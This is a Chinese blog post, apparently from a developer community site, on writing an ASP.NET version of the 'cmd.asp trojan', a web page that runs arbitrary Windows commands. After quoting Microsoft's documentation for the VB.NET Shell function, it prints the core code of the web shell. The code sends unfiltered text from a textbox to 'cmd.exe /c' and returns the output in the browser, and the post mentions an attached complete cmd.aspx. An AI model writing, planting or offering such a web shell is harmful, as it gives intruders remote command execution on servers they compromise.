Asp.net环境下的cmd命令执行

cmd.asp木马大家一定用过吧。这是一个可以执行cmd命令的asp文件(不过要被杀毒软件追杀^_^)。其原理是用wscript.shell对象调用cmd.exe,然后把返回的信息放到一个临时文件,再利用fso把临时文件信息读出来显示在浏览器里。

呵呵,在asp.net环境下也是可以写出类似程序的。不过可以不用那些对象。

vb.net里有一个shell函数,可以执行外部程序。呵呵,就是利用它!现看看微软的.net framework sdk的介绍:

 



shell 函数
命名空间:microsoft.visualbasic
模块:interaction 
程序集:microsoft visual basic .net 运行库(位于 microsoft.visualbasic.dll 中)
运行一个可执行程序,并且如果该程序仍然在运行,则返回一个包含该程序的进程 id 的整数。
public function shell( _
   byval pathname as string, _ 
   optional byval style as appwinstyle = appwinstyle.minimizedfocus, _ 
   optional byval wait as boolean = false, _ 
   optional byval timeout as integer = -1 _
) as integer
参数
pathname 
必选项。字符串。要执行的程序名以及任何需要的参数和命令行开关。pathname 还可以包括驱动器和目录路径或文件夹。 
style 
可选项。appwinstyle。从 appwinstyle 枚举中选择的值,该枚举与要在其中运行程序的窗口样式相对应。如果省略 style,则 shell 使用 appwinstyle.minimizedfocus,这将使程序以最小化启动并具有焦点。 
style 参数可以有以下设置之一: 
枚举值 说明 
appwinstyle.hide 隐藏窗口并为隐藏的窗口提供焦点。 
appwinstyle.normalfocus 为窗口提供焦点,并以最近的大小和位置显示窗口。 
appwinstyle.minimizedfocus 为窗口提供焦点,并以图标的形式显示窗口。 
appwinstyle.maximizedfocus 为窗口提供焦点,并以全屏方式显示窗口。 
appwinstyle.normalnofocus 将窗口设置为最近的大小和位置。当前活动窗口保持焦点。 
appwinstyle.minimizednofocus 以图标的形式显示窗口。当前活动窗口保持焦点。 

wait 
可选项。boolean。指示 shell 函数是否应等待程序完成的值。如果省略 wait,则 shell 使用 false。 
timeout 
可选项。integer。wait 为 true 时等待完成的毫秒数。如果省略 timeout,则 shell 使用 -1,表示没有超时,shell 直到程序完成时才返回。因此,如果省略 timeout 或将它设置为 -1,则 shell 可能永远不会将控制返回给程序。 



嗯,你那么帅,一定看得懂^_^

现在看核心代码:
 dim but as string
 dim tempfile as string=server.mappath(".") & "/" & "test.txt"
 shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,-1)
 dim myread as new streamreader(tempfile,encoding.default)
 but=myread.readtoend
 but=replace(but,"<","<")
 but=replace(but,">",">")
 result.text="<pre>" & but & "</pre>"
 myread.close
 if file.exists(tempfile) then
  file.delete(tempfile)
 end if

关键是shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,20000),这句话就是调用cmd.exe并且等待程序执行完毕。注意:要是你运行的命令需要等待(如date),呵呵,那就惨了。那就暂时删不掉临时文件test.txt……而且不能再执行命令了……不知道高手能不能解决这个问题,先谢过啦。

另:vb里也有shell函数,但是我用在asp文件里却不行,呵呵

顺手说一哈,我的系统winxp,iis5.1,.netframeworksdk1.1
完整程序cmd.aspx附上
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值